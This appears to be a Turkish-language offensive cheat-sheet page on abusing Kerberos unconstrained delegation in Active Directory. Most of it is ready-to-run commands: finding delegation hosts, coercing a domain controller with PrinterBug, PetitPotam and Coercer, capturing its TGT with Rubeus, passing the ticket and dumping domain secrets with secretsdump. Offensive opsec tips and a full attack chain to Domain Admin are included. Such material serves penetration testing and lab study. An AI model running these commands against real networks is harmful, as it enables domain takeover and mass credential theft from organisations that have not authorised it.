Unconstrained Delegation
AD privesc difficulty: orta
Unconstrained (kısıtsız) delegasyon, bir bilgisayar veya hesap için etkinleştirildiğinde (userAccountControl: TRUSTED_FOR_DELEGATION), ona Kerberos ile bağlanan kullanıcıların TGT’sinin servisin belleğinde (LSASS) saklanmasına neden olur. Bu makineyi ele geçiren saldırgan, oraya kimlik doğrulayan Domain Admin veya DC$ TGT’sini çalıp kimliğine bürünebilir.
Modern ortamlarda unconstrained azalmıştır; kaldığında hâlâ yüksek etkili yoldur. DC’ler varsayılan unconstrained’dır — onları “hedef host” olarak kullanmazsın; başka bir UD host’a DC’yi coerce edersin.
Kısıtsız delegasyon hostlarını bul
Section titled “Kısıtsız delegasyon hostlarını bul”Get-DomainComputer -Unconstrained | select name,dnshostnameGet-DomainUser -UnconstrainedGet-DomainComputer -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'impacket-findDelegation domain.local/user:'Pass' -dc-ip DCnxc ldap DC -u user -p 'Pass' --trusted-for-delegationldapsearch -x -H ldap://DC -D 'user@domain.local' -w 'Pass' \ -b 'DC=domain,DC=local' \ '(userAccountControl:1.2.840.113556.1.4.803:=524288)' sAMAccountNameBloodHound: Computers with Unconstrained Delegation, Shortest Paths to Unconstrained Delegation Systems.
Komut üreteci
Section titled “Komut üreteci”PrinterBug · coercion
embedded toolimpacket-printerbug domain.local/user:Pass123@dc01.domain.local 10.10.10.66PrinterBug · coercion
Section titled “PrinterBug · coercion”Saldırı akışı
Section titled “Saldırı akışı”-
Delegasyon hostunu ele geçir — UD bayraklı makinede local admin / SYSTEM (PtH, exploit, GPO…).
-
TGT dinlemeye başla :
Terminal window Rubeus.exe monitor /interval:5 /nowrapTerminal window Rubeus.exe monitor /interval:5 /filteruser:DC01$ /nowrap -
Yüksek yetkili kimliği çek (coercion) — DC’yi bu makineye authenticate etmeye zorla: Ayrıntı: Coercion .
Terminal window printerbug.py 'domain.local/user:Pass'@DC_IP UD_HOST_IPTerminal window petitpotam.py -u user -p Pass -d domain.local UD_HOST_IP DC_IPTerminal window coercer coerce -u user -p Pass -d domain.local -t DC_IP -l UD_HOST_IP -
TGT’yi kullan :
Terminal window Rubeus.exe ptt /ticket:<base64_or_kirbi>Terminal window impacket-ticketConverter dc.kirbi dc.ccacheTerminal window export KRB5CCNAME=dc.ccacheTerminal window impacket-secretsdump -k -no-pass dc01.domain.local
Alternatif: meşru DA oturumu beklemek
Section titled “Alternatif: meşru DA oturumu beklemek”Coercion yoksa: UD web sunucusuna DA’nın RDP/admin bağlantısını bekle (monitor uzun süre). Daha yavaş, daha az gürültülü.
sname / Any tickets
Section titled “sname / Any tickets”impacket-getST -spn ldap/dc01.domain.local -k -no-pass -dc-ip DCOpsec (ofansif)
Section titled “Opsec (ofansif)”□ Rubeus monitor bellek + log; /filteruser ile daralt□ PrinterBug/PetitPotam DC’de belirgin□ DC$ TGT ile hemen DCSync; monitor’ü kapat□ UD host ele geçirme adımı asıl gürültü olabilirYaygın tuzaklar
Section titled “Yaygın tuzaklar”□ DC’nin kendisinde dump ≠ unconstrained abuse senaryosu□ Coerce hedefi IP vs DNS adı□ “Account is sensitive and cannot be delegated” → TGT saklanmaz□ Ticket expire — hızlı kullan□ Kerberos AES only — Rubeus sürüm uyumuSaldırı zinciri
Section titled “Saldırı zinciri”BloodHound → UD host → local admin → Rubeus monitor + PrinterBug DC→UD → DC$ TGT ptt → secretsdump → DAKomut özeti (Linux saldırgan)
Section titled “Komut özeti (Linux saldırgan)”nxc ldap DC -u user -p 'Pass' --trusted-for-delegationprinterbug.py 'domain.local/user:Pass'@DC_IP UD_HOST_IPimpacket-ticketConverter ticket.kirbi dc.ccacheexport KRB5CCNAME=dc.ccacheimpacket-secretsdump -k -no-pass -just-dc dc01.domain.localSonraki adımlar
Section titled “Sonraki adımlar”Coercion · DCSync · Pass-the-Ticket · Delegation genel